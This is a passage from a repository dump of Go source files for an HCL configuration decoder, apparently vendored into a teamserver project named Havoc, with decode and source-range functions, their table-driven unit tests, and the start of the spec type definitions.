body is not valid per the given spec, the result is best-effort\n// and may not actually be something ideal. It's expected that an application\n// will already have used Decode or PartialDecode earlier and thus had an\n// opportunity to detect and report spec violations.\nfunc SourceRange(body hcl.Body, spec Spec) hcl.Range {\n    return sourceRange(body, nil, spec)\n}\n\n// ChildBlockTypes returns a map of all of the child block types declared\n// by the given spec, with block type names as keys and the associated\n// nested body specs as values.\nfunc ChildBlockTypes(spec Spec) map[string]Spec {\n    ret := map[string]Spec{}\n\n    // visitSameBodyChildren walks through the spec structure, calling\n    // the given callback for each descendent spec encountered. We are\n    // interested in the specs that reference attributes and blocks.\n    var visit visitFunc\n    visit = func(s Spec) {\n        if bs, ok := s.(blockSpec); ok {\n            for _, blockS := range bs.blockHeaderSchemata() {\n                nested := bs.nestedSpec()\n                if nested != nil { // nil can be returned to dynamically opt out of this interface\n                    ret[blockS.Type] = nested\n                }\n            }\n        }\n\n        s.visitSameBodyChildren(visit)\n    }\n\n    visit(spec)\n\n    return ret\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hcldec/public_test.go",
    "content": "package hcldec\n\nimport (\n    \"fmt\"\n    \"reflect\"\n    \"testing\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/hclsyntax\"\n    \"github.com/zclconf/go-cty/cty\"\n)\n\nfunc TestDecode(t *testing.T) {\n    tests := []struct {\n        config    string\n        spec      Spec\n        ctx       *hcl.EvalContext\n        want      cty.Value\n        diagCount int\n    }{\n        {\n            ``,\n            &ObjectSpec{},\n            nil,\n            cty.EmptyObjectVal,\n            0,\n        },\n        {\n            \"a = 1\\n\",\n            &ObjectSpec{},\n            nil,\n            cty.EmptyObjectVal,\n            1, // attribute named \"a\" is not expected here\n        },\n        {\n            \"a = 1\\n\",\n            &ObjectSpec{\n                \"a\": &AttrSpec{\n                    Name: \"a\",\n                    Type: cty.Number,\n                },\n            },\n            nil,\n            cty.ObjectVal(map[string]cty.Value{\n                \"a\": cty.NumberIntVal(1),\n            }),\n            0,\n        },\n        {\n            \"a = 1\\n\",\n            &AttrSpec{\n                Name: \"a\",\n                Type: cty.Number,\n            },\n            nil,\n            cty.NumberIntVal(1),\n            0,\n        },\n        {\n            \"a = 1\\n\",\n            &DefaultSpec{\n                Primary: &AttrSpec{\n                    Name: \"a\",\n                    Type: cty.Number,\n                },\n                Default: &LiteralSpec{\n                    Value: cty.NumberIntVal(10),\n                },\n            },\n            nil,\n            cty.NumberIntVal(1),\n            0,\n        },\n        {\n            \"\",\n            &DefaultSpec{\n                Primary: &AttrSpec{\n                    Name: \"a\",\n                    Type: cty.Number,\n                },\n                Default: &LiteralSpec{\n                    Value: cty.NumberIntVal(10),\n                },\n            },\n            nil,\n            cty.NumberIntVal(10),\n            0,\n        },\n        {\n            \"a = 1\\n\",\n            ObjectSpec{\n                \"foo\": &DefaultSpec{\n                    Primary: &AttrSpec{\n                        Name: \"a\",\n                        Type: cty.Number,\n                    },\n                    Default: &LiteralSpec{\n                        Value: cty.NumberIntVal(10),\n                    },\n                },\n            },\n            nil,\n            cty.ObjectVal(map[string]cty.Value{\"foo\": cty.NumberIntVal(1)}),\n            0,\n        },\n        {\n            \"a = \\\"1\\\"\\n\",\n            &AttrSpec{\n                Name: \"a\",\n                Type: cty.Number,\n            },\n            nil,\n            cty.NumberIntVal(1),\n            0,\n        },\n        {\n            \"a = true\\n\",\n            &AttrSpec{\n                Name: \"a\",\n                Type: cty.Number,\n            },\n            nil,\n            cty.UnknownVal(cty.Number),\n            1, // incorrect type - number required.\n        },\n        {\n            ``,\n            &AttrSpec{\n                Name:     \"a\",\n                Type:     cty.Number,\n                Required: true,\n            },\n            nil,\n            cty.NullVal(cty.Number),\n            1, // attribute \"a\" is required\n        },\n\n        {\n            `\nb {\n}\n`,\n            &BlockSpec{\n                TypeName: \"b\",\n                Nested:   ObjectSpec{},\n            },\n            nil,\n            cty.EmptyObjectVal,\n            0,\n        },\n        {\n            `\nb \"baz\" {\n}\n`,\n            &BlockSpec{\n                TypeName: \"b\",\n                Nested: &BlockLabelSpec{\n                    Index: 0,\n                    Name:  \"name\",\n                },\n            },\n            nil,\n            cty.StringVal(\"baz\"),\n            0,\n        },\n        {\n            `\nb \"baz\" {}\nb \"foo\" {}\n`,\n            &BlockSpec{\n                TypeName: \"b\",\n                Nested: &BlockLabelSpec{\n                    Index: 0,\n                    Name:  \"name\",\n                },\n            },\n            nil,\n            cty.StringVal(\"baz\"),\n            1, // duplicate \"b\" block\n        },\n        {\n            `\nb {\n}\n`,\n            &BlockSpec{\n                TypeName: \"b\",\n                Nested: &BlockLabelSpec{\n                    Index: 0,\n                    Name:  \"name\",\n                },\n            },\n            nil,\n            cty.NullVal(cty.String),\n            1, // missing name label\n        },\n        {\n            ``,\n            &BlockSpec{\n                TypeName: \"b\",\n                Nested:   ObjectSpec{},\n            },\n            nil,\n            cty.NullVal(cty.EmptyObject),\n            0,\n        },\n        {\n            \"a {}\\n\",\n            &BlockSpec{\n                TypeName: \"b\",\n                Nested:   ObjectSpec{},\n            },\n            nil,\n            cty.NullVal(cty.EmptyObject),\n            1, // blocks of type \"a\" are not supported\n        },\n        {\n            ``,\n            &BlockSpec{\n                TypeName: \"b\",\n                Nested:   ObjectSpec{},\n                Required: true,\n            },\n            nil,\n            cty.NullVal(cty.EmptyObject),\n            1, // a block of type \"b\" is required\n        },\n        {\n            `\nb {}\nb {}\n`,\n            &BlockSpec{\n                TypeName: \"b\",\n                Nested:   ObjectSpec{},\n                Required: true,\n            },\n            nil,\n            cty.EmptyObjectVal,\n            1, // only one \"b\" block is allowed\n        },\n        {\n            `\nb {\n}\n`,\n            &BlockAttrsSpec{\n                TypeName:    \"b\",\n                ElementType: cty.String,\n            },\n            nil,\n            cty.MapValEmpty(cty.String),\n            0,\n        },\n        {\n            `\nb {\n  hello = \"world\"\n}\n`,\n            &BlockAttrsSpec{\n                TypeName:    \"b\",\n                ElementType: cty.String,\n            },\n            nil,\n            cty.MapVal(map[string]cty.Value{\n                \"hello\": cty.StringVal(\"world\"),\n            }),\n            0,\n        },\n        {\n            `\nb {\n  hello = true\n}\n`,\n            &BlockAttrsSpec{\n                TypeName:    \"b\",\n                ElementType: cty.String,\n            },\n            nil,\n            cty.MapVal(map[string]cty.Value{\n                \"hello\": cty.StringVal(\"true\"),\n            }),\n            0,\n        },\n        {\n            `\nb {\n  hello   = true\n  goodbye = 5\n}\n`,\n            &BlockAttrsSpec{\n                TypeName:    \"b\",\n                ElementType: cty.String,\n            },\n            nil,\n            cty.MapVal(map[string]cty.Value{\n                \"hello\":   cty.StringVal(\"true\"),\n                \"goodbye\": cty.StringVal(\"5\"),\n            }),\n            0,\n        },\n        {\n            ``,\n            &BlockAttrsSpec{\n                TypeName:    \"b\",\n                ElementType: cty.String,\n            },\n            nil,\n            cty.NullVal(cty.Map(cty.String)),\n            0,\n        },\n        {\n            ``,\n            &BlockAttrsSpec{\n                TypeName:    \"b\",\n                ElementType: cty.String,\n                Required:    true,\n            },\n            nil,\n            cty.NullVal(cty.Map(cty.String)),\n            1, // missing b block\n        },\n        {\n            `\nb {\n}\nb {\n}\n\t\t\t`,\n            &BlockAttrsSpec{\n                TypeName:    \"b\",\n                ElementType: cty.String,\n            },\n            nil,\n            cty.MapValEmpty(cty.String),\n            1, // duplicate b block\n        },\n        {\n            `\nb {\n}\nb {\n}\n\t\t\t`,\n            &BlockAttrsSpec{\n                TypeName:    \"b\",\n                ElementType: cty.String,\n                Required:    true,\n            },\n            nil,\n            cty.MapValEmpty(cty.String),\n            1, // duplicate b block\n        },\n        {\n            `\nb {}\nb {}\n`,\n            &BlockListSpec{\n                TypeName: \"b\",\n                Nested:   ObjectSpec{},\n            },\n            nil,\n            cty.ListVal([]cty.Value{cty.EmptyObjectVal, cty.EmptyObjectVal}),\n            0,\n        },\n        {\n            ``,\n            &BlockListSpec{\n                TypeName: \"b\",\n                Nested:   ObjectSpec{},\n            },\n            nil,\n            cty.ListValEmpty(cty.EmptyObject),\n            0,\n        },\n        {\n            `\nb \"foo\" {}\nb \"bar\" {}\n`,\n            &BlockListSpec{\n                TypeName: \"b\",\n                Nested: &BlockLabelSpec{\n                    Name:  \"name\",\n                    Index: 0,\n                },\n            },\n            nil,\n            cty.ListVal([]cty.Value{cty.StringVal(\"foo\"), cty.StringVal(\"bar\")}),\n            0,\n        },\n        {\n            `\nb {}\nb {}\nb {}\n`,\n            &BlockListSpec{\n                TypeName: \"b\",\n                Nested:   ObjectSpec{},\n                MaxItems: 2,\n            },\n            nil,\n            cty.ListVal([]cty.Value{cty.EmptyObjectVal, cty.EmptyObjectVal, cty.EmptyObjectVal}),\n            1, // too many b blocks\n        },\n        {\n            `\nb {}\nb {}\n`,\n            &BlockListSpec{\n                TypeName: \"b\",\n                Nested:   ObjectSpec{},\n                MinItems: 10,\n            },\n            nil,\n            cty.ListVal([]cty.Value{cty.EmptyObjectVal, cty.EmptyObjectVal}),\n            1, // insufficient b blocks\n        },\n        {\n            `\nb {\n\ta = true\n}\nb {\n\ta = 1\n}\n`,\n            &BlockListSpec{\n                TypeName: \"b\",\n                Nested: &AttrSpec{\n                    Name: \"a\",\n                    Type: cty.DynamicPseudoType,\n                },\n            },\n            nil,\n            cty.DynamicVal,\n            1, // Inconsistent argument types in b blocks\n        },\n        {\n            `\nb {\n\ta = true\n}\nb {\n\ta = \"not a bool\"\n}\n`,\n            &BlockListSpec{\n                TypeName: \"b\",\n                Nested: &AttrSpec{\n                    Name: \"a\",\n                    Type: cty.DynamicPseudoType,\n                },\n            },\n            nil,\n            cty.ListVal([]cty.Value{\n                cty.StringVal(\"true\"), // type unification generalizes all the values to strings\n                cty.StringVal(\"not a bool\"),\n            }),\n            0,\n        },\n        {\n            `\nb {}\nb {}\n`,\n            &BlockSetSpec{\n                TypeName: \"b\",\n                Nested:   ObjectSpec{},\n                MaxItems: 2,\n            },\n            nil,\n            cty.SetVal([]cty.Value{cty.EmptyObjectVal, cty.EmptyObjectVal}),\n            0,\n        },\n        {\n            `\nb \"foo\" \"bar\" {}\nb \"bar\" \"baz\" {}\n`,\n            &BlockSetSpec{\n                TypeName: \"b\",\n                Nested: TupleSpec{\n                    &BlockLabelSpec{\n                        Name:  \"name\",\n                        Index: 1,\n                    },\n                    &BlockLabelSpec{\n                        Name:  \"type\",\n                        Index: 0,\n                    },\n                },\n            },\n            nil,\n            cty.SetVal([]cty.Value{\n                cty.TupleVal([]cty.Value{cty.StringVal(\"bar\"), cty.StringVal(\"foo\")}),\n                cty.TupleVal([]cty.Value{cty.StringVal(\"baz\"), cty.StringVal(\"bar\")}),\n            }),\n            0,\n        },\n        {\n            `\nb {\n\ta = true\n}\nb {\n\ta = 1\n}\n`,\n            &BlockSetSpec{\n                TypeName: \"b\",\n                Nested: &AttrSpec{\n                    Name: \"a\",\n                    Type: cty.DynamicPseudoType,\n                },\n            },\n            nil,\n            cty.DynamicVal,\n            1, // Inconsistent argument types in b blocks\n        },\n        {\n            `\nb {\n\ta = true\n}\nb {\n\ta = \"not a bool\"\n}\n`,\n            &BlockSetSpec{\n                TypeName: \"b\",\n                Nested: &AttrSpec{\n                    Name: \"a\",\n                    Type: cty.DynamicPseudoType,\n                },\n            },\n            nil,\n            cty.SetVal([]cty.Value{\n                cty.StringVal(\"true\"), // type unification generalizes all the values to strings\n                cty.StringVal(\"not a bool\"),\n            }),\n            0,\n        },\n        {\n            `\nb \"foo\" {}\nb \"bar\" {}\n`,\n            &BlockMapSpec{\n                TypeName:   \"b\",\n                LabelNames: []string{\"key\"},\n                Nested:     ObjectSpec{},\n            },\n            nil,\n            cty.MapVal(map[string]cty.Value{\"foo\": cty.EmptyObjectVal, \"bar\": cty.EmptyObjectVal}),\n            0,\n        },\n        {\n            `\nb \"foo\" \"bar\" {}\nb \"bar\" \"baz\" {}\n`,\n            &BlockMapSpec{\n                TypeName:   \"b\",\n                LabelNames: []string{\"key1\", \"key2\"},\n                Nested:     ObjectSpec{},\n            },\n            nil,\n            cty.MapVal(map[string]cty.Value{\n                \"foo\": cty.MapVal(map[string]cty.Value{\n                    \"bar\": cty.EmptyObjectVal,\n                }),\n                \"bar\": cty.MapVal(map[string]cty.Value{\n                    \"baz\": cty.EmptyObjectVal,\n                }),\n            }),\n            0,\n        },\n        {\n            `\nb \"foo\" \"bar\" {}\nb \"bar\" \"bar\" {}\n`,\n            &BlockMapSpec{\n                TypeName:   \"b\",\n                LabelNames: []string{\"key1\", \"key2\"},\n                Nested:     ObjectSpec{},\n            },\n            nil,\n            cty.MapVal(map[string]cty.Value{\n                \"foo\": cty.MapVal(map[string]cty.Value{\n                    \"bar\": cty.EmptyObjectVal,\n                }),\n                \"bar\": cty.MapVal(map[string]cty.Value{\n                    \"bar\": cty.EmptyObjectVal,\n                }),\n            }),\n            0,\n        },\n        {\n            `\nb \"foo\" \"bar\" {}\nb \"foo\" \"baz\" {}\n`,\n            &BlockMapSpec{\n                TypeName:   \"b\",\n                LabelNames: []string{\"key1\", \"key2\"},\n                Nested:     ObjectSpec{},\n            },\n            nil,\n            cty.MapVal(map[string]cty.Value{\n                \"foo\": cty.MapVal(map[string]cty.Value{\n                    \"bar\": cty.EmptyObjectVal,\n                    \"baz\": cty.EmptyObjectVal,\n                }),\n            }),\n            0,\n        },\n        {\n            `\nb \"foo\" \"bar\" {}\n`,\n            &BlockMapSpec{\n                TypeName:   \"b\",\n                LabelNames: []string{\"key\"},\n                Nested:     ObjectSpec{},\n            },\n            nil,\n            cty.MapValEmpty(cty.EmptyObject),\n            1, // too many labels\n        },\n        {\n            `\nb \"bar\" {}\n`,\n            &BlockMapSpec{\n                TypeName:   \"b\",\n                LabelNames: []string{\"key1\", \"key2\"},\n                Nested:     ObjectSpec{},\n            },\n            nil,\n            cty.MapValEmpty(cty.EmptyObject),\n            1, // not enough labels\n        },\n        {\n            `\nb \"foo\" {}\nb \"foo\" {}\n`,\n            &BlockMapSpec{\n                TypeName:   \"b\",\n                LabelNames: []string{\"key\"},\n                Nested:     ObjectSpec{},\n            },\n            nil,\n            cty.MapVal(map[string]cty.Value{\"foo\": cty.EmptyObjectVal}),\n            1, // duplicate b block\n        },\n        {\n            `\nb \"foo\" \"bar\" {}\nb \"foo\" \"bar\" {}\n`,\n            &BlockMapSpec{\n                TypeName:   \"b\",\n                LabelNames: []string{\"key1\", \"key2\"},\n                Nested:     ObjectSpec{},\n            },\n            nil,\n            cty.MapVal(map[string]cty.Value{\"foo\": cty.MapVal(map[string]cty.Value{\"bar\": cty.EmptyObjectVal})}),\n            1, // duplicate b block\n        },\n        {\n            `\nb \"foo\" \"bar\" {}\nb \"bar\" \"baz\" {}\n`,\n            &BlockMapSpec{\n                TypeName:   \"b\",\n                LabelNames: []string{\"type\"},\n                Nested: &BlockLabelSpec{\n                    Name:  \"name\",\n                    Index: 0,\n                },\n            },\n            nil,\n            cty.MapVal(map[string]cty.Value{\n                \"foo\": cty.StringVal(\"bar\"),\n                \"bar\": cty.StringVal(\"baz\"),\n            }),\n            0,\n        },\n        {\n            `\nb \"foo\" {}\n`,\n            &BlockMapSpec{\n                TypeName:   \"b\",\n                LabelNames: []string{\"type\"},\n                Nested: &BlockLabelSpec{\n                    Name:  \"name\",\n                    Index: 0,\n                },\n            },\n            nil,\n            cty.MapValEmpty(cty.String),\n            1, // missing name\n        },\n        {\n            `\nb {}\nb {}\n`,\n            &BlockTupleSpec{\n                TypeName: \"b\",\n                Nested:   ObjectSpec{},\n            },\n            nil,\n            cty.TupleVal([]cty.Value{cty.EmptyObjectVal, cty.EmptyObjectVal}),\n            0,\n        },\n        {\n            ``,\n            &BlockTupleSpec{\n                TypeName: \"b\",\n                Nested:   ObjectSpec{},\n            },\n            nil,\n            cty.EmptyTupleVal,\n            0,\n        },\n        {\n            `\nb \"foo\" {}\nb \"bar\" {}\n`,\n            &BlockTupleSpec{\n                TypeName: \"b\",\n                Nested: &BlockLabelSpec{\n                    Name:  \"name\",\n                    Index: 0,\n                },\n            },\n            nil,\n            cty.TupleVal([]cty.Value{cty.StringVal(\"foo\"), cty.StringVal(\"bar\")}),\n            0,\n        },\n        {\n            `\nb {}\nb {}\nb {}\n`,\n            &BlockTupleSpec{\n                TypeName: \"b\",\n                Nested:   ObjectSpec{},\n                MaxItems: 2,\n            },\n            nil,\n            cty.TupleVal([]cty.Value{cty.EmptyObjectVal, cty.EmptyObjectVal, cty.EmptyObjectVal}),\n            1, // too many b blocks\n        },\n        {\n            `\nb {}\nb {}\n`,\n            &BlockTupleSpec{\n                TypeName: \"b\",\n                Nested:   ObjectSpec{},\n                MinItems: 10,\n            },\n            nil,\n            cty.TupleVal([]cty.Value{cty.EmptyObjectVal, cty.EmptyObjectVal}),\n            1, // insufficient b blocks\n        },\n        {\n            `\nb {\n\ta = true\n}\nb {\n\ta = 1\n}\n`,\n            &BlockTupleSpec{\n                TypeName: \"b\",\n                Nested: &AttrSpec{\n                    Name: \"a\",\n                    Type: cty.DynamicPseudoType,\n                },\n            },\n            nil,\n            cty.TupleVal([]cty.Value{\n                cty.True,\n                cty.NumberIntVal(1),\n            }),\n            0,\n        },\n        {\n            `\nb {\n\ta = true\n}\nb {\n\ta = \"not a bool\"\n}\n`,\n            &BlockTupleSpec{\n                TypeName: \"b\",\n                Nested: &AttrSpec{\n                    Name: \"a\",\n                    Type: cty.DynamicPseudoType,\n                },\n            },\n            nil,\n            cty.TupleVal([]cty.Value{\n                cty.True,\n                cty.StringVal(\"not a bool\"),\n            }),\n            0,\n        },\n        {\n            `\nb \"foo\" {}\nb \"bar\" {}\n`,\n            &BlockObjectSpec{\n                TypeName:   \"b\",\n                LabelNames: []string{\"key\"},\n                Nested:     ObjectSpec{},\n            },\n            nil,\n            cty.ObjectVal(map[string]cty.Value{\"foo\": cty.EmptyObjectVal, \"bar\": cty.EmptyObjectVal}),\n            0,\n        },\n        {\n            `\nb \"foo\" \"bar\" {}\nb \"bar\" \"baz\" {}\n`,\n            &BlockObjectSpec{\n                TypeName:   \"b\",\n                LabelNames: []string{\"key1\", \"key2\"},\n                Nested:     ObjectSpec{},\n            },\n            nil,\n            cty.ObjectVal(map[string]cty.Value{\n                \"foo\": cty.ObjectVal(map[string]cty.Value{\n                    \"bar\": cty.EmptyObjectVal,\n                }),\n                \"bar\": cty.ObjectVal(map[string]cty.Value{\n                    \"baz\": cty.EmptyObjectVal,\n                }),\n            }),\n            0,\n        },\n        {\n            `\nb \"foo\" \"bar\" {}\nb \"bar\" \"bar\" {}\n`,\n            &BlockObjectSpec{\n                TypeName:   \"b\",\n                LabelNames: []string{\"key1\", \"key2\"},\n                Nested:     ObjectSpec{},\n            },\n            nil,\n            cty.ObjectVal(map[string]cty.Value{\n                \"foo\": cty.ObjectVal(map[string]cty.Value{\n                    \"bar\": cty.EmptyObjectVal,\n                }),\n                \"bar\": cty.ObjectVal(map[string]cty.Value{\n                    \"bar\": cty.EmptyObjectVal,\n                }),\n            }),\n            0,\n        },\n        {\n            `\nb \"foo\" \"bar\" {}\nb \"foo\" \"baz\" {}\n`,\n            &BlockObjectSpec{\n                TypeName:   \"b\",\n                LabelNames: []string{\"key1\", \"key2\"},\n                Nested:     ObjectSpec{},\n            },\n            nil,\n            cty.ObjectVal(map[string]cty.Value{\n                \"foo\": cty.ObjectVal(map[string]cty.Value{\n                    \"bar\": cty.EmptyObjectVal,\n                    \"baz\": cty.EmptyObjectVal,\n                }),\n            }),\n            0,\n        },\n        {\n            `\nb \"foo\" \"bar\" {}\n`,\n            &BlockObjectSpec{\n                TypeName:   \"b\",\n                LabelNames: []string{\"key\"},\n                Nested:     ObjectSpec{},\n            },\n            nil,\n            cty.EmptyObjectVal,\n            1, // too many labels\n        },\n        {\n            `\nb \"bar\" {}\n`,\n            &BlockObjectSpec{\n                TypeName:   \"b\",\n                LabelNames: []string{\"key1\", \"key2\"},\n                Nested:     ObjectSpec{},\n            },\n            nil,\n            cty.EmptyObjectVal,\n            1, // not enough labels\n        },\n        {\n            `\nb \"foo\" {}\nb \"foo\" {}\n`,\n            &BlockObjectSpec{\n                TypeName:   \"b\",\n                LabelNames: []string{\"key\"},\n                Nested:     ObjectSpec{},\n            },\n            nil,\n            cty.ObjectVal(map[string]cty.Value{\"foo\": cty.EmptyObjectVal}),\n            1, // duplicate b block\n        },\n        {\n            `\nb \"foo\" \"bar\" {}\nb \"foo\" \"bar\" {}\n`,\n            &BlockObjectSpec{\n                TypeName:   \"b\",\n                LabelNames: []string{\"key1\", \"key2\"},\n                Nested:     ObjectSpec{},\n            },\n            nil,\n            cty.ObjectVal(map[string]cty.Value{\"foo\": cty.ObjectVal(map[string]cty.Value{\"bar\": cty.EmptyObjectVal})}),\n            1, // duplicate b block\n        },\n        {\n            `\nb \"foo\" \"bar\" {}\nb \"bar\" \"baz\" {}\n`,\n            &BlockObjectSpec{\n                TypeName:   \"b\",\n                LabelNames: []string{\"type\"},\n                Nested: &BlockLabelSpec{\n                    Name:  \"name\",\n                    Index: 0,\n                },\n            },\n            nil,\n            cty.ObjectVal(map[string]cty.Value{\n                \"foo\": cty.StringVal(\"bar\"),\n                \"bar\": cty.StringVal(\"baz\"),\n            }),\n            0,\n        },\n        {\n            `\nb \"foo\" {}\n`,\n            &BlockObjectSpec{\n                TypeName:   \"b\",\n                LabelNames: []string{\"type\"},\n                Nested: &BlockLabelSpec{\n                    Name:  \"name\",\n                    Index: 0,\n                },\n            },\n            nil,\n            cty.EmptyObjectVal,\n            1, // missing name\n        },\n        {\n            `\nb \"foo\" {\n\targ = true\n}\nb \"bar\" {\n\targ = 1\n}\n`,\n            &BlockObjectSpec{\n                TypeName:   \"b\",\n                LabelNames: []string{\"type\"},\n                Nested: &AttrSpec{\n                    Name: \"arg\",\n                    Type: cty.DynamicPseudoType,\n                },\n            },\n            nil,\n            cty.ObjectVal(map[string]cty.Value{\n                \"foo\": cty.True,\n                \"bar\": cty.NumberIntVal(1),\n            }),\n            0,\n        },\n    }\n\n    for i, test := range tests {\n        t.Run(fmt.Sprintf(\"%02d-%s\", i, test.config), func(t *testing.T) {\n            file, parseDiags := hclsyntax.ParseConfig([]byte(test.config), \"\", hcl.Pos{Line: 1, Column: 1, Byte: 0})\n            body := file.Body\n            got, valDiags := Decode(body, test.spec, test.ctx)\n\n            var diags hcl.Diagnostics\n            diags = append(diags, parseDiags...)\n            diags = append(diags, valDiags...)\n\n            if len(diags) != test.diagCount {\n                t.Errorf(\"wrong number of diagnostics %d; want %d\", len(diags), test.diagCount)\n                for _, diag := range diags {\n                    t.Logf(\" - %s\", diag.Error())\n                }\n            }\n\n            if !got.RawEquals(test.want) {\n                t.Errorf(\"wrong result\\ngot:  %#v\\nwant: %#v\", got, test.want)\n            }\n        })\n    }\n}\n\nfunc TestSourceRange(t *testing.T) {\n    tests := []struct {\n        config string\n        spec   Spec\n        want   hcl.Range\n    }{\n        {\n            \"a = 1\\n\",\n            &AttrSpec{\n                Name: \"a\",\n            },\n            hcl.Range{\n                Start: hcl.Pos{Line: 1, Column: 5, Byte: 4},\n                End:   hcl.Pos{Line: 1, Column: 6, Byte: 5},\n            },\n        },\n        {\n            `\nb {\n  a = 1\n}\n`,\n            &BlockSpec{\n                TypeName: \"b\",\n                Nested: &AttrSpec{\n                    Name: \"a\",\n                },\n            },\n            hcl.Range{\n                Start: hcl.Pos{Line: 3, Column: 7, Byte: 11},\n                End:   hcl.Pos{Line: 3, Column: 8, Byte: 12},\n            },\n        },\n        {\n            `\nb {\n  c {\n    a = 1\n  }\n}\n`,\n            &BlockSpec{\n                TypeName: \"b\",\n                Nested: &BlockSpec{\n                    TypeName: \"c\",\n                    Nested: &AttrSpec{\n                        Name: \"a\",\n                    },\n                },\n            },\n            hcl.Range{\n                Start: hcl.Pos{Line: 4, Column: 9, Byte: 19},\n                End:   hcl.Pos{Line: 4, Column: 10, Byte: 20},\n            },\n        },\n    }\n\n    for i, test := range tests {\n        t.Run(fmt.Sprintf(\"%02d-%s\", i, test.config), func(t *testing.T) {\n            file, diags := hclsyntax.ParseConfig([]byte(test.config), \"\", hcl.Pos{Line: 1, Column: 1, Byte: 0})\n            if len(diags) != 0 {\n                t.Errorf(\"wrong number of diagnostics %d; want %d\", len(diags), 0)\n                for _, diag := range diags {\n                    t.Logf(\" - %s\", diag.Error())\n                }\n            }\n            body := file.Body\n\n            got := SourceRange(body, test.spec)\n\n            if !reflect.DeepEqual(got, test.want) {\n                t.Errorf(\"wrong result\\ngot:  %#v\\nwant: %#v\", got, test.want)\n            }\n        })\n    }\n\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hcldec/schema.go",
    "content": "package hcldec\n\nimport (\n    \"Havoc/pkg/profile/yaotl\"\n)\n\n// ImpliedSchema returns the *hcl.BodySchema implied by the given specification.\n// This is the schema that the Decode function will use internally to\n// access the content of a given body.\nfunc ImpliedSchema(spec Spec) *hcl.BodySchema {\n    var attrs []hcl.AttributeSchema\n    var blocks []hcl.BlockHeaderSchema\n\n    // visitSameBodyChildren walks through the spec structure, calling\n    // the given callback for each descendent spec encountered. We are\n    // interested in the specs that reference attributes and blocks.\n    var visit visitFunc\n    visit = func(s Spec) {\n        if as, ok := s.(attrSpec); ok {\n            attrs = append(attrs, as.attrSchemata()...)\n        }\n\n        if bs, ok := s.(blockSpec); ok {\n            blocks = append(blocks, bs.blockHeaderSchemata()...)\n        }\n\n        s.visitSameBodyChildren(visit)\n    }\n\n    visit(spec)\n\n    return &hcl.BodySchema{\n        Attributes: attrs,\n        Blocks:     blocks,\n    }\n}\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/hcldec/spec.go",
    "content": "package hcldec\n\nimport (\n    \"bytes\"\n    \"fmt\"\n    \"sort\"\n\n    \"Havoc/pkg/profile/yaotl\"\n    \"Havoc/pkg/profile/yaotl/ext/customdecode\"\n    \"github.com/zclconf/go-cty/cty\"\n    \"github.com/zclconf/go-cty/cty/convert\"\n    \"github.com/zclconf/go-cty/cty/function\"\n)\n\n// A Spec is a description of how to decode a hcl.Body to a cty.Value.\n//\n// The various other types in this package whose names end in \"Spec\" are\n// the spec implementations. The most common top-level spec is ObjectSpec,\n// which decodes body content into a cty.Value of an object type.\ntype Spec interface {\n    // Perform the decode operation on the given body, in the context of\n    // the given block (which might be null), using the given eval context.\n    //\n    // \"block\" is provided only by the nested calls performed by the spec\n    // types that work on block bodies.\n    decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics)\n\n    // Return the cty.Type that should be returned when decoding a body with\n    // this spec.\n    impliedType() cty.Type\n\n    // Call the given callback once for each of the nested specs that would\n    // get decoded with the same body and block as the receiver. This should\n    // not descend into the nested specs used when decoding blocks.\n    visitSameBodyChildren(cb visitFunc)\n\n    // Determine the source range of the value that would be returned for the\n    // spec in the given content, in the context of the given block\n    // (which might be null). If the corresponding item is missing, return\n    // a place where it might be inserted.\n    sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range\n}\n\ntype visitFunc func(spec Spec)\n\n// An ObjectSpec is a Spec that produces a cty.Value of an object type whose\n// attributes correspond to the keys of the spec map.\ntype ObjectSpec map[string]Spec\n\n// attrSpec is implemented by specs that require attributes from the body.\ntype attrSpec interface {\n    attrSchemata() []hcl.AttributeSchema\n}\n\n// blockSpec is implemented by specs that require blocks from the body.\ntype blockSpec interface {\n    blockHeaderSchemata() []hcl.BlockHeaderSchema\n    nestedSpec() Spec\n}\n\n// specNeedingVariables is implemented by specs that can use variables\n// from the EvalContext, to declare which variables they need.\ntype specNeedingVariables interface {\n    variablesNeeded(content *hcl.BodyContent) []hcl.Traversal\n}\n\n// UnknownBody can be optionally implemented by an hcl.Body instance which may\n// be entirely unknown.\ntype UnknownBody interface {\n    Unknown() bool\n}\n\nfunc (s ObjectSpec) visitSameBodyChildren(cb visitFunc) {\n    for _, c := range s {\n        cb(c)\n    }\n}\n\nfunc (s ObjectSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    vals := make(map[string]cty.Value, len(s))\n    var diags hcl.Diagnostics\n\n    for k, spec := range s {\n        var kd hcl.Diagnostics\n        vals[k], kd = spec.decode(content, blockLabels, ctx)\n        diags = append(diags, kd...)\n    }\n\n    return cty.ObjectVal(vals), diags\n}\n\nfunc (s ObjectSpec) impliedType() cty.Type {\n    if len(s) == 0 {\n        return cty.EmptyObject\n    }\n\n    attrTypes := make(map[string]cty.Type)\n    for k, childSpec := range s {\n        attrTypes[k] = childSpec.impliedType()\n    }\n    return cty.Object(attrTypes)\n}\n\nfunc (s ObjectSpec) sourceRange(content *hcl.BodyContent, blockLabels []blockLabel) hcl.Range {\n    // This is not great, but the best we can do. In practice, it's rather\n    // strange to ask for the source range of an entire top-level body, since\n    // that's already readily available to the caller.\n    return content.MissingItemRange\n}\n\n// A TupleSpec is a Spec that produces a cty.Value of a tuple type whose\n// elements correspond to the elements of the spec slice.\ntype TupleSpec []Spec\n\nfunc (s TupleSpec) visitSameBodyChildren(cb visitFunc) {\n    for _, c := range s {\n        cb(c)\n    }\n}\n\nfunc (s TupleSpec) decode(content *hcl.BodyContent, blockLabels []blockLabel, ctx *hcl.EvalContext) (cty.Value, hcl.Diagnostics) {\n    vals := make([]cty.Value, len(s))\n    var diags hcl.Diagnostics\n\n    for i, spec := range s {\n        var ed hcl.Diagnostics\n        vals[i], ed = spec.decode(content, blockLabels, ctx)\n        diags = append(diags, ed...)\n    }\n\n    return cty.TupleVal(vals), diags\n}\n\nfunc (s TupleSpec) impliedType() cty.Type {\n    if len(s) == 0 {\n        return cty.EmptyTuple\n    }\n\n    attrTypes := 